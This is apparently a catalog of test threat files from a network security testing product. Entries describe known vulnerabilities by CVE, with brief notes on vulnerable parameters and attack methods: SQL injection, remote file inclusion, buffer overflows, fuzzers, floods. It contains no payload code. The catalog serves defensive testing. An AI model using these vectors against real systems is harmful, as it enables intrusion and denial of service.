Executive Description:	Mozilla Firefox Built-in PDF Viewer Same Origin Policy Bypass
Detailed Description:	A same-origin policy bypass vulnerability exists in Mozilla Firefox. The vulnerability is due to a design flaw in the built-in PDF Viewer. By enticing a target user to view a crafted page that contains malicious script code, an attacker can exploit this vulnerability to read and steal sensitive local files on the victim's computer.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-4495
Threat File Name:	TSL20120301-06_Novell_GroupWise_Addressbook_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Novell GroupWise Addressbook Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability has been identified in Novell Groupware Client. An attacker can exploit this vulnerability by enticing a user to open a malformed Novell Address Book file (.nab) containing an overly long token. A successful attack would lead to injection and execution of arbitrary code in the security context of the target user. If the code execution attempt does not succeed, the application may terminate abnormally.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB, GroupWise POA
CVEID:	CVE-2011-4189
OSVDB:	79720
Threat File Name:	Blog_cms_rfi_IPv6.xml
Executive Description:	Blog:CMS NP_UserSharing.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Blog:CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5767
Threat Package:	Standard
Threat File Name:	wuftp_exec_fs_IPv6.xml
Executive Description:	Wu-Ftpd Remote Format String Stack Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted SITE command containing a format string exercising the flaw. WU-FTP is an FTP server which typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2000-0573
OSVDB:	11805
Threat File Name:	lupper3_IPv6.xml
Executive Description:	Lupper Worm 3 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20160510-18_Microsoft_Windows_Graphics_Device_Interface_Integer_Overflow.xml
Executive Description:	Microsoft Windows Graphics Device Interface Integer Overflow
Detailed Description:	A memory corruption vulnerability has been reported in an unspecified component of the Microsoft Windows graphics device interface (GDI). The vulnerability is due to a failure on part of the component to properly handle certain objects in memory. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation allows the attacker to execute arbitrary code under the security context of the user. Unsuccessful exploitation may lead to denial-of-service conditions in applications using the GDI component.
Protocol Type:	HTTP
CVEID:	CVE-2016-0170
Threat File Name:	TSL20121101-05_SafeNet_HASP_SL_ActiveX_Control_ChooseFilePath_Buffer_Overflow.xml
Executive Description:	SafeNet HASP SL ActiveX Control ChooseFilePath Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in SafeNet HASP SL's ActiveX control. The vulnerability is due to insufficient input validation while handling parameters to the ChooseFilePath() function. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to access a malicious web site. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS
OSVDB:	86723
Threat File Name:	formbankserver_trtransversal.xml
Executive Description:	Formbankserver 1.9 (Name) Directory Transversal Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for a malicious user to read arbitrary files from the server. Formbankserver is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060613-16_Microsoft_Windows_Media_Player_PNG_Chunk_Handling_Stack_Overflow.xml
Executive Description:	Microsoft Windows Media Player PNG Chunk Handling Stack Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Microsoft Windows Media Player. The flaw is caused by the improper parsing of chunk fields in Portable Network Graphics (PNG) files. An attacker can exploit this vulnerability by enticing a user to open a crafted PNG file, resulting in the possible injection and execution of arbitrary code on the target system with the privileges of the currently logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0025
Threat Package:	Standard
Threat File Name:	FSC20100615-13_Apple_Safari_Webkit_Attribute_Child_Removal_Code_Execution.xml
Executive Description:	Apple Safari Webkit Attribute Child Removal Code Execution
Detailed Description:	A vulnerability has been reported in Apple Safari's Webkit that could allow remote attackers to execute arbitrary code on a vulnerable system. The vulnerability is due to the vulnerable application's process for destructing attribute objects via the removeChild method. Remote attackers could exploit this vulnerability by enticing the target user to open a maliciously crafted web page.
	Successful exploitation could result in execution of arbitrary code within the security context of the current user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-1119
Threat File Name:	TSL20110721-14_Oracle_Outside_In_CorelDRAW_File_Parser_Integer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In CorelDRAW File Parser Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability that leads to a heap buffer overflow exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling CorelDRAW (.cdr) files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed .cdr file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2264
Threat File Name:	q-shop_sql_i.xml
Executive Description:	Q-Shop v3.5(browse.asp) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Q-Shop an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4852
OSVDB:	28917
Threat Package:	Standard
Threat File Name:	codeavalanche_sql_i_IPv6.xml
Executive Description:	CodeAvalanche News SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. CodeAvalanche is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101229-01_Microsoft_Windows_Fax_Services_Cover_Page_Editor_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Fax Services Cover Page Editor Heap Buffer Overflow

Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows Fax Services. The vulnerability is due to insufficient validation of a drawing object data while parsing Microsoft Fax cover page files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Fax cover page file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	winamp_mp4_bof_IPv6.xml
Executive Description:	Nullsoft Winamp 5.32 MP4 tags Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malformed mp4 file to Demonstrate a buffer overflow in Nullsoft Winamp media player. This threat is delivered via web page listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	apple_ichat_fmtstr.xml
Executive Description:	Apple iChat aim:// URL Handler Format String Vulnerability
Detailed Description:	This threat uses a malicious web server to cause a denial of service and possibly execute arbitrary code in Apple iChat 3.1.6 via format string specifiers in an aim:// URI.
Protocol Type:	HTTP,ICQ
CVEID:	CVE-2007-0021
Threat Package:	Standard
Threat File Name:	TSL20160209-12_Microsoft_Hyperlink_Object_Library_Information_Disclosure.xml
Executive Description:	Microsoft Hyperlink Object Library Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Hyperlink Object Library. The vulnerability is due to the Hyperlink Object Library improperly disclosing the contents of its memory. A remote attacker can exploit this vulnerability by enticing the victim to click a link in an email message or open an Office file. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTPS,HTTP,IMAP,SMB/CIFS,SMTP
CVEID:	CVE-2016-0059
Threat File Name:	adobe_shockwave_activex_bof_IPv6.xml
Executive Description:	Adobe Shockwave ShockwaveVersion() Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Adobe Shockwave ShockwaveVersion() ActiveX Object, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5275
Threat Package:	Standard
Threat File Name:	FSC20080812-17_Microsoft_Color_Management_System_Crafted_Path_Name_Buffer_Overflow.xml
Executive Description:	Microsoft Color Management System Crafted Path Name Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Color Management System. The vulnerability is due to a boundary error in the Microsoft Color Management System (MSCMS) module of the Microsoft Image Color Management (ICM) component. Remote unauthenticated attackers could exploit this vulnerability by persuading users to open a specially crafted image file. Successful exploitation would cause a heap buffer overflow that could allow the attacker to execute arbitrary code on the vulnerable system.
Protocol Type:	HTTP
CVEID:	CVE-2008-2245
Threat Package:	Standard
Threat File Name:	FSC20080902-19_VMware_COM_API_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	VMware COM API ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability is reported in VMware COM API. The vulnerability is due to a improper error handling while processing arguments passed to the "GuestInfo()" method of an ActiveX Control. A remote attacker could exploit the vulnerability by enticing the target user to visit a malicious web page. It is reported that successful exploitation would allow for arbitrary code injection and execution. The research performed by Assurent did not find any evidence of probable arbitrary code execution associated with this vulnerability. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3892
Threat Package:	Standard
Threat File Name:	sipzerolengthinvite_IPv6.xml
Executive Description:	SIP Zero Length INVITE (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with no content. The lack of SDP info can confuse or crash a PBX if it isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20070612-12_Microsoft_Internet_Explorer_COM_Object_Instantiation_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in certain versions of Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer instantiates COM objects that are not intended to be instantiated in Internet Explorer. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation would corrupt memory and may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0218
Threat Package:	Standard
Threat File Name:	FSC20080326-25_IBM_solidDB_Logging_Function_Format_String_Vulnerability.xml
Executive Description:	IBM solidDB Logging Function Format String Vulnerability

Detailed Description:	There exists a Format String vulnerability in the IBM solidDB database server product. The vulnerability is specifically in creating new log entries without filtering format specifiers from the strings. An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted TCP packet to the target host. A successful exploitation of this vulnerability can allow for code execution in the security context of the logged-in user or cause a denial of service condition. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, IBM solidDB database server will terminate resulting in a denial of service condition.
Protocol Type:	SolidDB
Threat Package:	Standard
Threat File Name:	FSC20091118-01_IBM_Tivoli_Storage_Manager_Client_CAD_Service_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Storage Manager Client CAD Service Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager Client software. The vulnerability is due to a boundary error in the Client Acceptor Daemon (CAD) service while processing a specially crafted packet. Remote unauthenticated attackers can exploit this vulnerability to inject and execute arbitrary code on the target system. Successful exploitation of this vulnerability would allow for arbitrary code execution with the SYSTEM privileges of the CAD service. If the attack is not successful, the vulnerable service may terminate abnormally due to memory corruption.
Protocol Type:	IBM TSM Protocol
CVEID:	CVE-2009-3853
Threat Package:	Standard
Threat File Name:	TSL20140805-05_Samba_nmbd_unstrcpy_Buffer_Overflow_IPv6.xml
Executive Description:	Samba nmbd unstrcpy Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in Samba. The vulnerability is due to using incorrect buffer size in a string copy operation in the nmbd daemon. >A remote, unauthenticated attacker could exploit this vulnerability by sending malicious packets to a vulnerable nmbd service. A successful attack could result in arbitrary code execution with the privileges of the superuser while an unsuccessful attack will result in the application to terminate or stop responding. Tester needs to set variable \$destPort to 139 before test.
Protocol Type:	NBSS.IPv6
CVEID:	CVE-2014-3560
OSVDB:	109760
Threat File Name:	TSL20170314-23_Microsoft_MSXML_CVE-2017-0022_Information_Disclosure.xml
Executive Description:	Microsoft MSXML CVE-2017-0022 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft XML Core Services (MSXML). This vulnerability is due to incorrect handling of objects in memory by MSXML. An attacker could exploit this vulnerability by enticing a user to visit a crafted website. By successfully exploiting this vulnerability, and attacker could check for the presence of specific files on disk.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0022
Threat File Name:	FSC20060314-11_Microsoft_Excel_Malformed_Record_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Malformed Record Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper sanitization of an undocumented record in Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0031
Threat Package:	Standard
Threat File Name:	scout_portal_sqli_IPv6.xml
Executive Description:	Scout Portal Toolkit 1.4.0 (forumid) Remote SQL Injection Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing an SQL query with us appended to an existing SQL query and then executed by the server. Scout Portal Toolkit is a web based application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140604-08_Samsung_iPOLis_Device_Manager_FindConfigChildeKeyList_Buffer_Overflow_IPv6.xml
Executive Description:	Samsung iPOLis Device Manager FindConfigChildeKeyList Buffer Overflow IPv6 version
Detailed Description:	A stack-based buffer overflow vulnerability exists in Samsung iPOLis Device Manager. The vulnerability is due to insufficient input validation in the implementation of the FindConfigChildeKeyList method of the XNSSDKDEVICE.XnsSdkDeviceCtrlForIpInstaller ActiveX control.A remote attacker can exploit these vulnerabilities by enticing a user to visit a maliciously crafted web page. This can result in code execution in the context of the affected user.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2014-3912
OSVDB:	107722
Threat File Name:	oce_printer_dos_IPv6.xml
Executive Description:	OCE 3121/3122 Printer Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which contains an excessively long buffer which triggers a buffer overflow situation. The OCE 3121 and OCE 3122 printers which contain HTTP based management which listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_ErrorCode_Message_formats_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_ErrorCode_Message_formats.xml (IPv6 Version)
Detailed Description:	Fuzzes ErrorNullTerm field by appending "%s%s" to the ErrorMessage with ranging sizes. OpCode is 05 (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	BOOTP_hostname.xml
Executive Description:	BOOTP Hostname Buffer Overflow

Detailed Description:	This threat causes a buffer overflow in certain versions of Microsoft Windows Advanced Server 2000 by sending a long hostname.
Protocol Type:	BOOTP
Threat Package:	Standard
Threat File Name:	FSC20040405-01_TCPDUMP_ISAKMP_Payload_Handling_DoS.xml
Executive Description:	TCPDUMP ISAKMP Payload Handling DoS
Detailed Description:	Two vulnerabilities exist in the Tcpcdump ISAKMP payload handling module, which can be exploited to cause a DoS (Denial of Service) by sending packets with specially crafted payloads.
Protocol Type:	ISAKMP
CVEID:	CVE-2004-0183
Threat Package:	Standard
Threat File Name:	sipunknownscheme.xml
Executive Description:	SIPPING: Unknown Request-URI Scheme
Detailed Description:	This threat sends out a SIP OPTIONS message with an unknown scheme instead of a sip: URI. Because this is unexpected, this may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	flashgamescript_rfi_IPv6.xml
Executive Description:	FlashGameScript 1.5.4 (index.php func) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. FlashGameScript is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1078
Threat Package:	Standard
Threat File Name:	gtchat_file_IPv6.xml
Executive Description:	GTChat Arbitrary File Read (IPv6 Version)
Detailed Description:	This threat allows a user to read an arbitrary file located on the webserver. This is performed by sending a malicious URL request that affects the GTChat web application. GTChat typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20131112-09_Microsoft_InformationCardSigninHelper_ActiveX_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft InformationCardSigninHelper ActiveX Remote Code Execution(IPv6 Version)
Detailed Description:	The InformationCardSigninHelper ActiveX control has been deemed a security risk by Microsoft. As such, they recommend setting the kill bit for this control. Exploitation of the vulnerability in this control can result in remote code execution. An attacker can exploit this vulnerability by enticing a user to visit a malicious web site which uses the affected controls.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-3918
OSVDB:	99555
Threat File Name:	msie7_dos_IPv6.xml
Executive Description:	Microsoft Internet Explorer 7 Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious HTTP server reply to cause a denial-of-service condition in a MSIE 7 beta client . Microsoft Internet Explorer 7 is a web browser that typically connects to a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20131008-26_Microsoft_Internet_Explorer_HtmlLayout_SmartObject_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer HtmlLayout SmartObject Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way HtmlLayout::SmartObject objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3873
OSVDB:	98201
Threat File Name:	FSC20090908-07_Microsoft_Windows_JScript_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows JScript Remote Code Execution
Detailed Description:	A code execution vulnerability has been reported in Microsoft Windows JScript. The vulnerability is due to the way that the JScript scripting engine processes scripts containing malicious function definition in Web pages. Remote attackers could exploit this vulnerability by enticing a user to open a specially crafted HTML file or visit a Web site that is running a specially crafted script. Successful exploitation of this vulnerability could lead to memory corruption that would allow the attacker to execute arbitrary code in he context of the logged on user. If code execution is successful the behaviour of the affected system depends on the intention of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1920
Threat Package:	Standard
Threat File Name:	joomla_rwcards_sqli.xml
Executive Description:	Joomla Component RWCards <= 2.4.3 Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. Joomla Component RWCards is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1703
Threat Package:	Standard
Threat File Name:	minerva_rfi_IPv6.xml
Executive Description:	Minerva Admin_Topic_Action_Logging.PHP Remote File Include Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Minerva is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-ARP_srcMac.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:srcMac
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing
Threat File Name:	phpmycms_afi_IPv6.xml
Executive Description:	MyPHP CMS 0.3 (domain) Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing the path for a script to be included via global_headers.php's "domain" parameter. My PHP CMS is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160127-03_Oracle_Application_Testing_Suite_UploadFileAction_fileType_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Application Testing Suite UploadFileAction fileType Directory Traversal(IPv6 version)
Detailed Description:	A directory traversal vulnerability exists in Oracle Application Testing Suite. The vulnerability is due to insufficient input validation when processing HTTP request sent to URI "/olt/UploadFileUpload.do". A remote attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation would lead to arbitrary code execution under the security context of System.Note that user authentication is required for the affected URI but can be bypassed by exploiting another vulnerability in Oracle Application Testing Suite.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2016-0491
Threat File Name:	TSL20151209-12_Schneider_Electric_ProClima_FlBookView_CopyAll_Memory_Corruption_IPv6.xml
Executive Description:	Schneider Electric ProClima FlBookView CopyAll Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a flaw in the CopyAll() method of the FlBookView ActiveX control, in which a user-supplied integer is interpreted as a memory address.A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious Web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2015-8561
Threat File Name:	movieplay_lst_rbof_IPv6.xml
Executive Description:	MoviePlay LST File Handling Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in the MoviePlay media application via a malicious .LST file, resulting in code execution on the affected machine. This file is delivered via an emulated http server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0016
OSVDB:	32547
Threat Package:	Standard
Threat File Name:	FSC20070510-01_CA_Multiple_Products_Console_Server_Login_Credentials_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	CA Multiple Products Console Server Login Credentials Handling Buffer Overflow (IPv6 Version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in the Console Server shipped with multiple CA products. The vulnerability can be triggered by submitting overly long username or password to the authentication process. A remote unauthenticated attacker may leverage this flaw to inject and execute arbitrary code on the target system with the privileges of the affected service, which is System on Windows platforms. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-2522
Threat Package:	Standard
Threat File Name:	ms05-051_IPv6.xml
Executive Description:	Microsoft DTC Memory Corruption Attack (IPv6 Version)
Detailed Description:	This threat causes memory corruption to occur in the DTC component of Microsoft Windows. This allows a remote attacker execute arbitrary code, like a buffer overflow. Microsoft DTC listens on an arbitrary RPC port. (IPv6 Version)
Protocol Type:	RPC/IPv6
CVEID:	CVE-2005-2119
OSVDB:	18828
Threat Package:	Standard
Threat File Name:	phpbbguestbook_cmi_IPv6.xml
Executive Description:	phpBB advanced guestbook mod - Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which allows arbitrary inclusion of PHP or HTML code via the phpbb_root_path parameter. phpBB is a web application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2152
Threat Package:	Standard
Threat File Name:	TSL20130729-16_PineApp_Mail-SeCure_confpremenu.php_Install_License_Command_Injection.xml
Executive Description:	PineApp Mail-SeCure confpremenu.php Install License Command Injection

Detailed Description:	A command execution vulnerability exists in PineApp Mail-SeCure. The vulnerability is due to an input validation error in the confpremenu.php script while installing licenses. A remote attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable server. Successful exploitation could result in commands being executed with root privileges.
Protocol Type:	HTTP,HTTPS
OSVDB:	95784
Threat File Name:	TSL20151230-02_Unitronics_VisiLogic_OPLC_TeeChart_ActiveX_RemoveSeries_Out_of_Bounds_Array_Indexing_IPv6.xml
Executive Description:	Unitronics VisiLogic OPLC TeeChart ActiveX RemoveSeries Out of Bounds Array Indexing(IPv6 version)
Detailed Description:	An out of bounds array indexing vulnerability exists in Unitronics VisiLogic OPLC. The vulnerability is due to use of user supplied value to calculate array index in the <italic>RemoveSeries method of the TeeChart.TChart ActiveX control.A remote attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTPS,HTTP,IPv6
CVEID:	CVE-2015-6478
Threat File Name:	evolution_dos.xml
Executive Description:	Gnome Evolution Inline Text File Attachment DoS
Detailed Description:	This threat sends a crafted email message containing a single line containing 40K of text based content which causes an assertion failure in the mail client. This threat is delivered via SMTP which typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2006-0528
Threat Package:	Standard
Threat File Name:	phpmyagenda_cmi_a_IPv6.xml
Executive Description:	phpMyAgenda 3.0 Arbitrary Remote File Inclusion (agenda2.php3) (IPv6 Version)
Detailed Description:	This threat leverages an arbitrary remote file inclusion into an arbitrary command execution flaw via the "rootagenda" argument to agenda.php3. phpMyAgenda is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	allegro_dos.xml
Executive Description:	Allegro Denial Of Service
Detailed Description:	This threat sends an HTTP GET request with a 1024 byte buffer for the Authenticate field.
Protocol Type:	HTTP
CVEID:	CVE-2000-0470
OSVDB:	1371
Threat Package:	Standard
Threat File Name:	TSL20140827-05_SolarWinds_Storage_Manager_AuthenticationFilter_Authentication_Bypass.xml
Executive Description:	SolarWinds Storage Manager AuthenticationFilter Authentication Bypass
Detailed Description:	An authentication bypass vulnerability exists in SolarWinds Storage Manager. The vulnerability is due to a flaw within the AuthenticationFilter class. A remote unauthenticated attacker could exploit this vulnerability by bypassing the authentication filter and uploading malicious scripts to the target. Successful exploitation could result in code execution under the context of the system. Tester should set variable \$destPort to 9000 before test.
Protocol Type:	HTTP
OSVDB:	110483
Threat File Name:	nslookup_crash.xml
Executive Description:	NSLookup Null Pointer Dereference
Detailed Description:	This threat sends a malformed DNS response that will cause nslookup to crash. NSLookup is a name server utility that comes with windows that allows a user to lookup specific address names. This is not related to the microsoft ms06-041 bug.
Protocol Type:	DNS
Threat Package:	Standard
Threat File Name:	NOOPudpHP-UNIX_IPv6.xml
Executive Description:	UDP NOOP Variant HP-UNIX (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatsToDELETE.xml
Executive Description:	Fuzz HTTP DELETE appended by %s
Detailed Description:	Fuzzes the Method field appending by %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	shttpd_bof.xml
Executive Description:	SHTTPD Remote Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a buffer overflow Vulnerability in the SHTTPD web server whereby an attacker can execute code on the affected system with the privileges of the running service. SHTTPD is a web server and typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20040526-01_F-Secure_Anti-Virus_LHA_Processing_Buffer_Overflow.xml
Executive Description:	F-Secure Anti-Virus LHA Processing Buffer Overflow

Detailed Description:	There is a denial of service vulnerability with the F-Secure Antiphon's family of products. A malformed LHA archive can cause a buffer overflow within the module that accesses the contents of archives during the virus scanning process. This leads to a module restart and may be considered to be a denial of service. Given that the program stack of the vulnerable product is overwritten, it may also be possible to inject malicious code into the module.
Protocol Type:	HTTP
CVEID:	CVE-2004-0234
Threat Package:	Standard
Threat File Name:	TSL20170314-34_Microsoft_Edge_Chakra_SetPropertyTrap_Method_PropertyString_Object_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Edge Chakra SetPropertyTrap Method PropertyString Object Type Confusion (IPv6 Version)
Detailed Description:	A type confusion has been reported in Chakra, Microsoft Edge's JavaScript engine. This vulnerability is due to incorrect casting by the JavascriptProxy::SetPropertyTrap function. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0094
Threat File Name:	TSL20170612-08_Schneider_Electric_U.motion_Builder_loadtemplate.php_SQL_Injection.xml
Executive Description:	Schneider Electric U.motion Builder loadtemplate.php SQL Injection
Detailed Description:	An SQL injection vulnerability has been reported in Schneider Electric U.motion Builder. The vulnerability is due to insufficient validation of the tpl HTTP parameter of the loadtemplate.php request. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary SQL commands on the target server.
Protocol Type:	HTTP
CVEID:	CVE-2017-7973
Threat File Name:	FSC20060314-10_Microsoft_Excel_Malformed_Graphic_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Malformed Graphic Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper sanitization of EXCEL graphic records in Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0030
Threat Package:	Standard
Threat File Name:	ipv6_syn_flood2.xml
Executive Description:	IPv6 SYN Flood 2
Detailed Description:	This threat is a SYN flood that allows the user to specify a source port and source address. It is also a IPv6 version of a SYN flood.
Protocol Type:	TCP
Threat Package:	Standard
